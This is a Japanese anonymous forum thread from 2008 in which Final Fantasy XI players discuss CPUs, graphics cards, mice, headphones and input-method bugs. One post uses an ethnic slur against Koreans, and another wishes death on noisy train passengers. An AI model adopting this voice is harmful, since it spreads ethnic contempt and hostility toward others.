AMDの最新技術がすでにごにょごにょ

でも、所詮2.4Gでしょ？ｗ

>>181
いつの時代の人ですか・・・

FFやるならって意味だよｗ

FFはコア数増えても速くならないって聞いたことが。
クアッドコア凄いですね^^

そういやちょっと前にDirectX9あたりで作り直すとか何とか言う話が出て一瞬で消えたよね
FFやってる限りは最新のアーキテクチャの恩恵はほぼ受けられないのがつまらない

FF11ならE7200を4GHzオーバーで動かした方が安上がりだな

よく考えてみろよ最新の技術がどなんとかでも2.4Gだぞ2.4G

>>185
DX9で作り直すというのは誤報でした。公式ブログではそうなっている。
本当に誤報だったのか、作り直そうとした？していた？けど断念したのかは分からない

ttp://ff11creatersvoice.cocolog-nifty.com/fanfes/2007/07/post_1aa3.html

なんちゃってクアッドのQX9770は電圧Autoでも4GHz常用できるのに2.4Ghzって＾＾；

>>185,188
ただの窓化のためのDX9化に決まってるだろう
DX8でもできたのでお流れに。
DX9になったとしても何も変わらんよ。Win版の描画不具合の一部が解消されたかもしれないって程度

企画はたったが、作り直す意味がないからぽしゃったんだろうなあ

DX9化の話題が出る⇒バ開発「ちょ、一から作り直し無理ｗｗｗ」⇒窓化だけ実装

プロマまでは、動作環境にWindows98やMeも入ってたからDX8切捨ては難しいのかもな。

そろそろマルチコア環境に移行しようかなと思ったけど、
OC前提だとE8400よりE7200の方がCP良さそうだな。

エレコムのマウスうんこすぎワロタｗｗｗｗｗ

触ってないのにカーソルがプルプル震えるｗｗｗｗｗ
おかげでFFがマウスモードになって勝手にカーソル合わせるｗｗｗｗｗマジうんこｗｗｗ

そりゃELECOMのは・・・ｗ

>>195
マウスおいてる机(マウスパッド)に原因があるんじゃないのか？

logicoolも糞だわ正直

G5手放せません

マウスがどこいいんだよ！

インテリマウスエクスプローラ3.0以外愛せません

>>195
>>197に1票

ゲームするならゲーマー用マウスの方がいいね。
安いのはすぐにぶれて誤入札とかしやすい。

マウスは結局MSが一番良い気がするな

ﾜﾛﾀ

「ひどすぎる」 (6/25)
-----複数ショップ店員談
　199ドルに価格の下がった「GeForce 9800 GTX」だが、実際に199ドルで新たに入荷する製品はないという。これは、代理店も同様で「GeForce 9800 GTX」は流通在庫のみで終了する見込み。今のところNVIDIAから“199ドル版のGeForce 9800 GTX”の入荷はないようだ。
　要は発表だけで、実際に製品は出荷されない可能性もあるとのこと。ショップ関係者は「最初から229ドルのGeForce 9800 GTX＋だけを発表するだけでよかったのに、余計なことをしてくれた」という声がほとんど。

もうなんかnvidiaグダグダだな

マウスはずーっとＭＳの普通の使ってたんだが、どうもグラフィック扱うときに厳密な操作がしにくいなーと思って、
ＭＳのゲーム用マウス　「ハブ」を購入。青いＬＥＤがまぶしいので分解して撤去。。

細かい動きがスパスパ決まって気持ちがいいです。
仕事も速くなったし、なによりストレスが無くなった。
やっぱり入力装置は重要ですね。（キーボードも富士通の19000円のにしたら幸せになりました・・・）

Habuは良いねぇ。ちょっと困ったところもあるけど・・・。
店でRealforce触って感動したわ。さすがにそこまで出せないから
FILCOのにしたけど。

オッサン化するとモニタ、マウス、キーボードに金かけ始めるよな。

毎日見て触るのはそれらだしな
PC自体の性能なんか人体に影響何にもないし

確かに、PCさわり続ける年季が入ってくると、
ソコに金かけるのが一番使いやすいってのに気づくんだろ。

若いうちはスペックの数値にしか目がいかないけどなｗ

話題がおっさん臭過ぎてふいたｗｗｗｗ
まぁ俺もおっさんだけどな／^o^＼

お前ら２ｃｈやりながらもの食ったりするなよ
使い込んだキーボードは、便器より不潔らしいからな

さすがおっさんｗｗ話題も古いぜｗｗ

急に電源落ちて再起動するって何が原因考えられますかね？

ちなみに夏３回越えてるので温度ではないはずです。
HDD以外替えてないし、空けて見てもファンは全部回ってます。

根本の電源を取り替えるという考えにはいたらなかったのかい？

キーボードマウスモニタは現代の筆記用具だからな

椅子や机にも使いやすいのが良いな

>>214
電源ユニットの劣化じゃないか？
ちなみに温度で再起動とかまず無いと思う。
多分電源まわりじゃないかと。

500円のキーボードとマウス使ってる俺にはまさに眼から鱗な話だぜ・・・・

FFで非マウス派なら、マウス本体に電源SWあるワイヤレス系が使いやすいな。
キーボードの余分なボタンにFF登録してると、マウス電源入れないままで、そのまま起動できて便利だ。
MXRevolutionとか言うの使ってる。

>>214
メモリ

6700 320x10
8800 700/950
ATH-A900

なんだこのテンプレ

>>205
詐欺みたいなまねして必死なんだなあ・・

http://www.dospara.co.jp/bto/bto_f.php?gm=766&gs=33&gf=0

>>221
E6700の320MHzx10倍
Geforce8800　コアクロック700/メモリクロック950
ATH-A900　これはヘッドフォンか

ってことじゃねーの？

光るマウスとか意味ﾜｶﾝﾈ

>>206
リベルタッチは良いものです…
US配列でテンキーレスやつがほしかとです…でないだろうけど。

電源か。ｔｈｘ。
電源かえる→マザボ替える→CPUもついでに→ぐらぼｒｙ

>>227
CPU(GPU)ファンがホコリだらけで全然冷えない→熱暴走でｳﾎﾞｱｰ

さすがNVIDIAのGPUは早かった
http://www.4gamer.net/games/050/G005004/20080627060/

＞現世代のGPU評価でGPUBenchを使用することが適切かどうかは不明であるが。
＞少なくとも，出てきた数値にはそれなりの意味があるので，
＞GPUの性格を知るうえでの参考にしていただきたい。数値の解釈は，
＞上記のものが正解であるとは思っていないので，より詳しい人は独自に解釈してほしい。

と書いたにもかかわらず、すぐに

＞しかし，これらの数字を見る限りは，GeForceがもっともっとぶっちぎっていてもおかしくないのだが……。

本命提灯記事はやはり4亀だったかｗ

>>227
memtest86をやってみてからでも遅くはない。

>>229
オマエ日本人じゃないだろｗｗｗｗｗ

ATOKユーザなんだけど、サーチや宅配の1文字目が反映されない件について回避策はないかと
ジャストシステムに問い合わせたらFFでATOKは使えませんって返事がきましたよ
公式サイトにATOK辞書がおいてない理由も関係してるのかなー

以下抜粋
ファイナルファンタジー上でATOKをお使いいただくことはできない
ため、他社のIMEをお使いいただくようご案内させていただいております
なお、お客様からの貴重なお声として真摯に受け止め、
当窓口より関係部署へお伝えさせていただき、これからの製品開発や
サービス向上における検討事項とさせていただきます

>>231
いーあーるさんすー

なんかおかしかったか？

>>233
いや、逆におかしくなかったから言われたんだろｗ

>>232
それもう初期の頃からずっと放置されてるしスクエニも修正する気ないんじゃね？
俺はそれでATOKあきらめたｗ

４亀はなんでHD4870のレビュー出さないの？
なんでGTX280とHD4850比べてやっぱりジーフォースはすごいね＾＾って記事ばっかり書くの？
馬鹿なの？

DIA3きたこれ

ttp://www.4gamer.net/games/008/G000817/20080628004/

最近の洋ゲーはシリーズ物よりも、オリジナルのほうが売れてるからな〜
良質な傑作程度じゃね？ディアIII：じわじわと蝕む

もうネトゲ自体のリリース量がハンパないからなぁ
よっぽど斬新なものじゃない限り昔ほどのヒットは見込めないだろうなぁ
まぁそれでもクリックゲーとしては未だに郡を抜いてると思うけど。

ttp://www.watch.impress.co.jp/akiba/hotline/20080628/etc_amd.html
Radeon HD 4870カードが登場、GDDR5搭載で4万円
●早くも争奪戦状態

釣り上げやがったな・・・ｗｗｗ

直前に価格引き上げされてショップが怒ってたらしいが。

>>239
FF11しちゃうとクリックゲーはやる気にならないなぁ・・・
やっぱりコントローラだけで全て操作出来ないと疲れる

>>242
コントローラーにキー割り当てればいいじゃないｗ

>>237
ktkr
電源だけ替えるかｗ

>>167
探してきたぞー
ATIToolの使い方が乗ってるサイト
tp://wind.ap.teacup.com/applet/kamo/33/trackback

本スレ見る限りATi Tray Tools のほうが簡単だそうだ。

>>237

やっときたか

>>243
オフゲならともかく、MMO出そんな事する馬鹿いるの？
操作しながらチャットが出来ないじゃんか

4870売り切れてたから代わりにこれ買ってきた
http://www.watch.impress.co.jp/akiba/hotline/20080628/ni_i_mb.html

　　　 ＿ /⌒ヽ
　／ /　￣ `ヽ
/　 （リ从 ﾘ）,）ヽ
|　| |　 ． '　．Y |
| (| |　"　ヮ " | | ねんがんの HD4870 を 手に入れたぞ
|　ヽ`>、＿ .ノ_ﾉ
|l　(⌒) [水] l
|l /| └ｎ/ｌ二二二.ｌ
ﾘ/ `ー`//　　　　/)

>>248
それGTX260だよ、きっと

>>248
そのＡＡ使う時は、オチ付けろよｗ

::::::::/　　　　　　　　　　 ヽ、　　 :: ::: ::: :::::::::::::::::::::::::::::::::
:::::/　　　　　　　　　　　　lﾊ　::: : :: :::::::::: :::::::::::::::::::::::::::::
::::l　　　　　　　　　　 l　 /ﾉﾘ　::: : :: ::::::::::: :::::::::::::::::::::::::::::
:::|　　　　　　　　　　/） /　::: : :: ::::::::: :::::::::::::::::::::::::::::
::l　　　　　　　　　　/ｲ/|　. :. :. .:: : :: :: :::::::: : ::::::::::::::::::
/　　　　　　　　　 /　||/ /￣￣￣￣￣７l::::::::::::::::::::
　　　　　　i　　　/_,／i!/　GeForce 　/　l::::::::::::::::
　　　　　 l　 　 人　　/　　　　　　　　/　/::::::::::::::::
　　　　　l　　 /　/⌒ヽ　GTX260　 /　/::::::::::::::::
　　　　　l　 /iｌ　 |　　 ） 4870o円 /　 /::::::::::::::::
　　　　　ll　l　i!　｀ｰ、＼＿＿＿ / ｎ/::::::::::::::::
　　　　　lヽ l　　　　|＼. ＼　　　/⌒〉::::::::::::::::

>>251
そうッ、それでいいッ、ジョジョッ！

瑞穂ちゃんはかわいいなー

やっと今月分割払いが終わったマイPCで、流行りのデビルメイベンチやってみた。

判定は……　C　です　　(´・ω・｀)

E6750に、メモリ3ギガ、P35マザボで、さらには笊7900GSというコスト重視のスペックでは
スタイリッシュに悪魔は狩れないのか。

いーよ！　別に。　FFしかやらねーもん！

MS-IMEがあまりにもアホなので、ATOKにしようと思ったらコレか...

しかし、GTX280vs4870のレビューが無いのは何故だ？

>>254
>>118のスペックだとDで、スタイリッシュにプレイするのは非常に難しいです。といわれた。
超最低構成にするとギリギリゲームはできるがスーパーもっさりする

>>256
価格が2倍のもの比較してなんになるｗ

>>256
4870x2がでてからだ、それは

宅配のとき頭の一文字目が入力されないの、MS-IMEでもなってたよ
今週からATOKに乗り換えたけどFFする上でたいして困ることはなさそう

それよりMS-IMEに入れた辞書を、FFログインすると綺麗さっぱり忘れてしまうのは困った

>>246
FFXIはMMOなんだがｗ

>>260
うちだとそんな不具合どうやったら起こせるんだと思ったら
つーか、先頭1文字を普通に大文字で入力するだけで回避できるっぽいから
試しにIMEで打ったら全部小文字で打っても自動で補完される方に驚いたわｗｗ

…つまり、起きなかったのは自分が元々そう打ってたからだな、VistaでATOK2008だけど起きない

あと、VistaでMS-IMEのユーザー辞書がFFで使えなくなるのは回避策あるから
探してみなよ

>>254
グラボ変えれば問題ないっしょ
E6750なら3,5G位までは結構余裕で回ると思いますし
御寿司

やっぱケースは300/900/1200のようなちんちくりんじゃなくて
モッコスSや尼+が一番ですしお鮨

ヘッドフォンて音声チャット用の軽くて安いのしか使ってないんだけど、
万単位のだと耳音痴でも分かるくらい違うものなの？
一度一万くらいの耳あての部分が革っぽいの使ってたけど
ただ重くて数時間つけてると耳がいたくなるだけで音の良さわからなかった。

ヘッドフォンなら耳にジャストフィットするのが一番
ヘッドフォンの音質を語る奴は貧乏耳のゴミでオーディオ界における浮浪者レベル
ヘッドフォンの音質については割れてないとかの最低限さえクリアしてれば語らなくておｋ

それでも語るって奴らはうちのダブルバスレフな箱に32cmユニット取り付けたやつを
アンプ最大出力で駆動させて鼓膜破壊しちゃる

>>267
なんでそこまで必死なの？

299$のHD4870の値段が吊り上げられたって言うが
300$の9800GTXの登場時の価格は45k以上もしたんだよね。
299$＝約30k　ここに輸送費、代理店のマージン足して40k切るのが考えられない。

本当はAMDはもっと安く、チップを提供してるんじゃねーかな〜？

最初の1行で終わりだな

いいヘッドホンとは音じゃなく着けていても疲れないものの事だな

E7200を買うかE8400を買うか迷ってるんだけど、
二次キャッシュの差ってそんなに顕著に出るもん？
出るとしてどんな時にその差を感じるのかな

>>271
３Dゲームしまくったりベンチマニアでなければ７〜８万で組んだPCと２〜３０万で組んだPCの差なんて気にならない位。
はっきり言ってそのレベルだと関係ないな。

>>271
２次キャッシュの差を感じる前に、約500MHzのクロック差のほうが体感できるよ。
E8500との比較記事だけど・・・
http://www.4gamer.net/games/030/G003078/20080425015/


FFじゃ２次キャッシュの差は体感できないと思うｗ

FF用に限定するならE1200で十分だろ

>>272>>273
3Dゲームは結構やる方だけど、記事のベンチの差見ても
OCで大きくても8500と10fps程度の差が出るくらいだね。

一応OC前提で使おうと思ってるのでクロック差はあまり考えてないかな。

これ見てるとE7200の方がCP面で断然良さそうだなぁ。
まぁ石の当たり外れもあるだろうけどｗ

２４時間つけてても耳が痛くならないヘッドフォンって無いの？
音が外にダダ漏れでも全然かまわんから

外に漏れてもかまわない状況ならスピーカーで聞いてればいいんじゃ？

逆に聞きたい。なんでヘッドフォンする必要があんの？

>>277
スピーカーだと耳まで遠いから大きな音を出さなきゃならんので深夜に使えない

部屋で隣に音が聞こえない程度にそれなりの大音量で聴きたいって事じゃないのかね

>>音が外にダダ漏れでも全然かまわんから

276がそうと言ってるわけではないが、電車とかでこう言う思考で聴いてる奴は死んで欲しい。
頭の悪そうな糞学生もそうだが、背広着てる奴でこんな事してる奴とかこの世から消えて欲しいｗ
つか条例つくってくんないかな。騒音妨害で三万円以下の罰金とか。

あと、ニコニコの実況系動画でボソボソした声なんかがスピーカーだと聴き取れないからヘッドフォンでしっかり聴きたいのもある

電車では２４時間つけないから耳痛くならんので漏れないイアフォンだな
最近買った耳栓みたいなのがオススメ
耳から外した状態でも外に漏れないｗ

そこまで具体的に用途決まってるなら、
ハード板のヘッドフォンスレに相談するといいかも。

ハードウェア板じゃなかった。
家電製品のどこかだな。

AVだろ…
おっと、ピュアAVにはいくなよｗオカルト板だから

家電製品って括りでフォルダになってたからそう書いたんだが、
その下にAVやらピュアやらあって、家電製品ままなのもあるんだなｗ

>>276
最近買ってないから確かな情報ではないが
数年前のビクターの安い耳掛けが装着感が良かった。
耳を挟み込む力が弱くて長時間つけてても気にならなくて愛用してた。
ソニーの耳掛けは耳を挟む力が強くてダメだった。

オーバーヘッドタイプも1000円〜2000円の安いちゃちな作りの軽いやつが無難だろうな。
一万円クラスならオーディオテクニカのATH-ADシリーズが装着感いいと思う。
金と時間があるなら店頭で試着して自分の耳に合うのを探すのが一番だが。

みんなサンクス
いろいろ検討してみるわ
カタログ見るとどれも「きさまの頭をプレスしてやんよ」と言わんばかりに布団の洗濯ばさみのようなフォルムしてるんだよね
（）←こんなんばっかり
Π←こんなふうに着けてないときも装着時と同じ形なら締め付け感がなくてよさそうなんだが、それじゃ頭から落っこちるのかな

無印モッコスを買ってみたんだが、
確かにフルタワーでこの静かさは良いね。
ファンが少ない構成のケースには負けるけど。

>>287
Пこんな形のみたことある気がするよ。
つけたことないから装着感はわからないが…。
重量もわからない。
庶民が買う値段じゃないという記憶だけはある。
AKGだかどこかの海外メーカーだったかなあ。

http://www.4gamer.net/games/050/G005004/20080627060/TN/018.jpg

まったくジーフォースさんのパフォーマンスは底なしやでぇ

>>290
なんか重箱の隅を突付きまくって無理やりグラフにしたような感じだな。
４亀らしいといえばらしいが。

>>291
元記事読んでみ
このベンチが意味のあるものになるのかどうかわからんが
こんなにもグラフ上突出してるのに実パフォーマンスだめじゃん
って締めくくってる

なにをグラフ化したのかわからない俺に3行で教えてくれ

一部だけ抜き出し批判するのは２ｃｈではよくあること

今時、耳かけタイプのヘッドホンで電車の中で音楽なんて聞いてたら殴られるわ。
電車の中なら、耳栓タイプ以外ありえないだろう。

電車の中で一番むかつくのは、臭い口臭撒き散らしてガム噛んでる奴だけどな。
チョン会社がほぼ独占のガムなんて食ってるんじゃねーよｗ

毎日小学生新聞 - 毎日ｊｐ(毎日新聞)
毎日小学生新聞とは? 親子で読める、ニュースがわかる
http://mainichi.jp/life/edu/maishou/index.html
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祭り開催中！
http://mamono.2ch.net/test/read.cgi/newsplus/1214724196/

このスレのアドバイスを参考に安物一杯で買ってきた。
マザーボードは5980で売っていたBIOSTARのTA780G M2+
ビデオカードはとりあえずオンボード
それでも、一応ベンチではHiで3000超えるんだな。
ベンチ詳細はベンチスレに張りました。
ttp://pc11.2ch.net/test/read.cgi/jisaku/1211211911/378

>>295
耳かけは耳栓形が主流になる以前はよく見たが
今は耳栓形よりいいとこは全然無いし絶滅気味だな

というか、iPodについてくるものそのままのような白いイヤホンのも良く見る…

>>276
頭挟む力云々についてはいろいろ語られてるようだしそれぞれ理があるから置いておく。

だがそれ以前の問題として、長時間利用するならオープンエアタイプの奴がいい。

あと長時間利用ということで、部屋の中を動き回ることを考慮するならワイヤレス以外ありえん。

というわけでこの辺か。

○Audio-technica ATH-DWL5000
http://www.audio-technica.co.jp/products/hp/ath-dwl5000.html

○pioneer SE-DRS3000C
http://pioneer.jp/accessory/cord_head/index.html

ヘッドホンに12万てｗｗｗｗｗｗｗｗ

>>300
価値観は人それぞれ…

一般人から見たら漏れらなんて
「ひとつのゲームに10万ｗｗｗｗ(月1500x72)」
だからｗｗｗｗ

>>300
絞り込むために条件きつくしたってのはある。

長時間動かない、ってんならワイヤレスはいらんから案外選択肢は増える。

ワイヤレスに慣れてしまった俺はもうワイヤードには戻れない。
ワイヤレスものを買うときは覚悟しておいた方がいい。

>>302
ワイヤレスマウスとかキーボードなんかは逆に制約多すぎて二度と買うかって気になったりするけどなｗ
ヘッドフォンもそのレベルのなら良いけど安物を買うとかなり微妙だし。

電気屋で展示されてたワイヤレスは音とびが酷くてワイヤレスはまだまだ発展途上かと敬遠してたんだけど
１２万も出せば音とびしないで普通に聴けるワイヤレスヘッドホン買える？

>>304
展示されてたワイヤレスって赤外線式？(といっても覚えてないと思うが)
電器屋店頭環境だと赤外線式はノイズ入りまくりでまったく使い物にならなかった記憶がある。
>>299のはデジタル無線式(無線LANやBluetoothを想像してもらえば…)だから音とびとかしないと思うよ。

>>297
えらく安いな。特価品かな？

HD4850買おうと思ってネットで調べてたんだけど、ラデってAMDに買収された影響なのか知らないけど
AMDのチップセットマザーに取り付けるとインテルのチップセットマザーに取り付けるよりも本来の性能が
でるってほんと？

バグがでる確率だけ減るんじゃないかなー程度にしか考えてないけど

んなことよりインストールの順番とかWindows自体のチューニングしたほうが
よっぽど本来の性能出るから気にすんな

>>307
１００％確実に動作検証済み。

そんだけ(´・ω・｀)

>>306 特価だったかも知れない。となりの中古屋で6980だったから安いよな

んなこと言ったら、IntelチップのVGAカードなんて売ってないぞｗ
どこのチップセットとVGA組み合わせようと、問題無いよ。
パフォーマンスも変わらん。
CFやSLIなどは別ね。

oi

misu

ミス

おい

きゅーはち落ちたぞ

http://www.4gamer.net/games/045/G004578/20080629001/

4870のレビューが４亀に来ました。
解禁日でも指定されていたのかね。

さすがにスレ2つ同時進行は無茶すぎるわｗ

オッサンホイホイの方は落ちたっぽい

オッサンというかどうやらサボリーマンホイホイだったようだな

キューハチは実質こことは別スレで機能してたからな…

>>314
なんでラデのレビューでゲフォに最適化してるcrysis主体にするんだろうね
ゲフォの提灯記事かと思いきやHD 4870以外の選択肢はないとか言い切っちゃってるし
意図がわからん

んなこと言ったって現状一番売れてて負荷高いのってcrysisなんじゃね？
逆にラデに最適化してあるのなんか持ち出したら誰も興味無いっつーか知らないしｗ
それこそ提灯記事だろ

>>319
DirectX10対応で、かつ、現状で最も重いゲームと言われてるからだろう。
それ自体は、別にゲフォ有利にしようとしてる訳じゃないと思う。

>>320
ゲフォに最適化してたら公平でラデに最適化してたら提灯ってどんな理論だよｗ
別に重くなくてもいいからモンハンとかゆめりあみたいにVGA性能に割りと素直なベンチを
１つ回してくれればそれでいいんだが

>>322
シェアの無い製品のシェアの無いソフトでいいスコア出てますって記事を
提灯といわずなんて言うんだボケｗｗｗ

だから最適化とか関係ない分かりやすいベンチも回し欲しいって言ってるだけなんだけど
何かおかしいこと言ってるか？

わからんやつだな
シェアが無いベンチやソフト＞最適化されない＞しかしその結果に誰も興味ない
ゆめりあが素直？あれもGPUの一部の性能しか出てないぞ
そしてそんなベンチにl興味があるのは極一部なんだよ

オマエこの記事見てNvidiaすげぇやっぱ最強とか思うか？
4Gamer.net ― GPUBenchで見る最新世代GPUの特徴（GeForce GTX 200）
http://www.4gamer.net/games/050/G005004/20080627060/

シェア持たないAMDはNVIDIAに最適化されたシェアのでかいソフト上でいかにいい数値出すかがカギなんだよ
たとえそれが不利だとしても数の暴力に対抗するには相手の土俵で勝たなきゃ意味が無い
最適化関係なくわかりやすいってならFLOPS見りゃいいわけだしな

＞ハイエンドGPU市場において，いまHD 4870以外の選択肢はない。

４亀がここまで言い切るって事は・・・今度はAMDから金もらったんかな？ｗ

Crysisの最適化云々いってるが、
ラデもゲフォも性能なりのベンチ結果になってると思うがなー
ただどうしても差が付くロスプラって、ある意味すごいｗ

ＦＦやるだけなら、GTX2xxもHD4xxxもオーバースペック＆高消費電力で不適格だろ。

>>326
FF《だけ》やるなら、GF7600、GF7900、ラデオン1950のどれかで必要十分だしな
まあ、もうどれも市場在庫無い(GF7600GSがあるかも？)からどうにもならんけどな・・・
中古買うのは個人的にお勧めできないが・・

ぼくの結局一度も使わずに世代交代した
AGPの7600GT買ってよ

ここで売らずに店に売りに出せｗ

>>304
ttp://www.ecat.sony.co.jp/headphone/product.cfm?PD=26979&KM=DR-BT21G
これ使っているけど悪くないよ。

PC側はプリンストンの小型のヤツ使って、電子レンジ使ったり、
電波遮蔽されるような位置にいかなければ途切れない。
無線LANとの干渉は、もしかしたらあるかもしれない。

3DMark06のFeatureTests見てみ？
RadeonHD48ｘｘはGeForceに近いPS重視、VSそこそこになってるぜ。

VS負担が大きいCoJはやはりRadeonHD38xx系が強い。
http://www.ixbt.com/video3/gt200-2-d.shtml#p24

GF7900よりGF8600GTの方が上だと勝手に思っていたんだけど
性能まとめサイトを改めて見てみたら違っていた・・・・

8600GTが地雷だというのはたまに見かけるから気になっていたんだけど
メモリバス幅っていうのが128なのがだめなのかな？

8600に利点は何かないんだろうか・・・

>>332
8600は7xxx以前、8800Ultra/GTX/GTS-640、8500と違って動画支援機能(PureVideo2)が
まともに使える。だがそれを言うならラデのがいい。

>>332
コンパクト、低消費電力、低発熱。
地雷っていうのはベンチスコアにしか興味がない人にとって地雷ということ。
あとFFが古いゲームだから8000系と相性悪いってのもあるかな。
とりあえず7900とは土俵が違うから比べるのは無駄。
比べるなら7600と比べなさい。

8シリーズはドライバ170番台あたりからかなりパフォーマンス
アップしてたと思うよ

PentiumDCってどうなん？

返事がいっぱい来て驚いた、ありがとう
ノートのGF8600MGTを使ってて
ドライバも調べて入れてるんだけど

たしかに発熱は抑えられてるかも知れない、FFしてて大体45-50度です
FFするだけならかなり満足しているんだけどそういうことだったのかぁ
教えてくれて本当にありがとう

>>332
9600GTがローエンドにしては秀逸だから8600なんつー旧世代で中途半端なゴミクズは要らん。

>>336
コストパフォーマンスでは最高かと
ただ単に現在の良い構成・良いCPUが欲しいと言うなら話にならないCPUだと思われる

DC買うならAthlon64x2/5000+あたりの方が良い気がする…

>>336
普通にＦＦやるなら問題ない。これとＧＦ7600ＧＳ辺りと組めば無難に安く組める。うちのサブＦＦマシンはＤＣ1.6ＧＨｚだけど、めちゃくちゃ重い場面以外は問題ないな。
人によって感じ方は違うだろうが。

ただし、バックバッファ２倍で影も付けてめちゃくちゃ重いところでもスムーズに、とか希望するなら
３ＧＨｚ以上のＣＰＵ＆ハイエンドＧＰＵにした方がいいが。

>>341
E8500+HD4870で影付きフルオプションでFPS下がらなくでもなったのか？

>>341の３ＧＨｚってのは、コア２デュオかクアッドの場合な。間違ってＰｅｎ4の３ＧＨｚだとＤＣより遅いｗ

GF7600厨ｳｻﾞｲな

売ってるか売ってないか分からないようなグラボの
話持ち出すんじゃねーよ

>>342
落ちるに決まってるけど、バックバッファ２倍にするような奴は、遅くなってでもやるんだぜ？
たぶんそれよりもＤＣ２ＧＨｚで900ｘ1440表示くらいで普通にやった方が快適ｗ

>>344
すまんかったな、秋葉原とか通販だとまだ普通に売ってるからな。
有名ブランドはもう出してないから、安物専用のブランドの小さい箱のやつとかになるだろうが・・・

GTX260って何なんだろうなｗ
シングルカードのHD4870に遥かに劣ってて値段と消費電力は高いって
誰が買うんだｗ
GTX280は消費電力や値段高くてもまだ最高性能って意味で買う価値あるが
GTX260は・・・・。

>>347
ID:Vub1bFVVみたいなゲフォ厨が買うんじゃないのｗ

この前までGeFo優勢だったのに一気にRade優勢になっちまったなｗ
お前ら手のひら返しすぎだｗ

トップモデルの評判きいて下のモデル買う奴がいるが、アホだぞ。
個別にちゃんと評価しろよ

俺はただGPUを買い換えようと思ったらその時良い物を買うだけなんだが
昔からラデのほうが好きだったのは事実だなｗ
今使ってるのは７９００ＧＳなんだけどね・・ｗ

その時々で良さそうなの選択するだけで
一生rade買い続けるとか決意したってまったく意味無い行為だしな

>>347
チップメーカーが選別して良品を上位モデル、落ちたやつを下位モデルにして売るから利益確保できるんで、
勘違いしたやつがそこそこの値段で下位モデル買ってくれないことには、
上位モデルの値下がりも遅れてしまう。

>>348
悪かったな、うちじゃ未だらでおん9600がＦＦ現役だｗ
３垢用だけど。

しかし４亀のレビューだとGTX260はあれだけどGTX280は性能の割りに
消費電力低いと思うんだけどなあ。
HD4870が思ったより消費電力高いかな。
GTX280は最高性能じゃないとどうしてもいや！って人には結構いいモデルに
見える。俺はここまで高性能なのは要らないけどｗ

すみません、助けて！

ローカルエリア接続のパケットが異常な数字でてるんだ…
具体敵にはPC立ち上げて5分ぐらいで
パケットの送信2万、受信が50万とかなるんだ
放置しておくと5億とかになるんだぜ？

OSはvistaで買った当時から調子わるかったような…
一応avastとspybotｰserch&destroy入れてみたり
オンラインでウイルスとかスキャンとかもしたんだが全然直らん

パケットサイズが無茶苦茶小さいとか

>>355
これ↓見て4650待ちを決定した。アイドル高杉
http://pc.watch.impress.co.jp/docs/2008/0630/graph26b.gif

>>356
コマンドプロンプトから netstat やってあやしい接続ないか
確認してみるとか、Wireshark入れてパケットチェック

>>357
たしかに！
PC2台使ってるんだがXPのほうはパケット表示で
vistaはバイトだった…それでもちょっとvistaが異常な気がするけど

あと、vistaのほうのPCが過剰に送受信して
ルーターとかモデムが「こりゃ送受信しすぎだ！」
ってことでネット切断することってある？
ウィニーとかしてないのに…

まぁ>>356で質問した事に繋がるんだが
PC2台にしてからネットがちょくちょく切断されるんだわ
ルーターも買い換えたが直らんし

てか最初からこうやって聞けばよかったのか頭悪くてスマン

>>339
なるほど
ＤＭＣ動かすハイエンド機作るまでのツナギだから丁度いいな

Nehalemでも狙ってるんじゃなければ繋ぎでPenDCなんか
買うより現行のハイエンド買った方がいいんじゃね？

ハイエンドじゃないがE8400安いしなぁ

しかしこれもどうしたもんだか
PINUPS - 上田新聞 blog版: Nehalemには3つのソケットがある?
http://nueda.main.jp/blog/archives/003628.html

Fudzillaによると、今年のQ4からリリースされるINTELの新CPU Nehalemには、ハイエンドクアッドコア用のLGA 1366、メインストリームクアッドコア用のLGA 1160、そしてIGPを統合したデュアルコア用のLGA 1160という3種類のソケットが存在するようです。

ハイエンドのLGA 1366とメインストリームのLGA 1160のソケットが異なるのは既知ですが、LGA 1160はIGPの有無で「同じように見えるけど違う」ソケットになるようです。

- LGA 1366：Bloomfield (ハイエンド用クアッドコア)
- LGA 1160：Lynnfield(メインストリーム用クアッドコア)
- LGA 1160：Havendale(GPU統合したデュアルコア)

intelは何がしたいんだｗ

なにかんがえてんだ！

Socket商法か・・・終ったな

また間座簿かいかえか！！！

どうせメインストリーム用しか買わないんだから関係ないだろｗ

GPU統合はノート用かのー

>>358
自分でBIOS弄って下げればおｋ
あと4650がTDP70W、4670がTDPが100Wっていう情報があるからなｗ

ソケットで分離とか随分とがめつくなったなぁ
MicroATXな漏れはメインストリームいけなくなることが凄い不安になるな

もうQ9650+ラデ4870で5年行っちゃうか(´・ω・｀)

無難なところで9600GTの値段がもうちょっと下がってくれればそれでいいや

保守

4870の2枚目がなかなか買えなくて、なみだ目＞＜

ネハーレンなんてミドルエンド位になってから買ったらいいと思う俺は
今月Athlon64からC2Dに乗り換えるぜ！

ミッドレンジはまぁまぁアリかな、と思うが
ミドルエンドはナシだと思う。

どんだけ中途半端な終わりかたなんかと

>>376
ですよねー。

素で間違えたのでｾﾚﾛﾝ300A探してくるわ

俺的には9600GTは眼中になかったんだが、9600GTを視野に入れている人が多いことにびっくりした
8600GT使ってるからってことなのかな？

もちろん人それぞれなんだろうけど、8600GTからの買い替えなら8800GTの方がよくない？

ごめん、9600GTなら8800GTの方がよくない？に変換してくださいｗ

この時期のFFはきついな
窓モードでFFするだけでCPU温度が60度近くまで逝ってしまう＠北森

>>379
8800以降は誰にでも薦められるシロモノじゃないからじゃないかなぁ
大きさ的にも温度的にも電力的にも。
あと8800に限って言えば地雷もあるしね

1スロットの8800GTはHD4850と同じで結構熱が厳しいから
買うならオリジナル冷却の2スロットタイプがいい
もしくは別途購入して自分でつける
ミドルタワーケースのHDDシャドウベイに干渉するってのが
良くあるな8800GT
かといってエアフロー悪い5インチベイにHDD乗せると
更にHDDクーラーかうはめになったりな

なんて心配するぐらいなら9600GTのほうがいいのかな

ちなみに俺は9800GTX買ったんだがその経緯
8800GTいいな＞熱きついらしいな＞自分でつけるのめんどくせぇな＞だったら8800GTS買うか
＞いやまて8800GTSと9800GTX価格差4000円だと・・・・＞ポルナレフ

そして価格改定でまたポルナレフ

OS XP homeとproとでFFとかゲームする上でも何か影響あるでしょうか？

4850はファンの設定が静穏仕様に振りすぎ、ということが分かっているので
それを解消すればOK。
すでに出ているけどBIOSとか、自作板に出ているprofileの変更で、
ファンスピードを40％ほどにすることでアイドル50前後にできることは確認されているよ。

まあ冷却と静音ってのは自作においては双方追求するのは不可能だからなｗ
・静かだけど冷えない
・ほどほどに冷えるけどそこそこ五月蝿い
・冷えるけど爆音
この３種しかない

水冷おいしいです＾ｑ＾

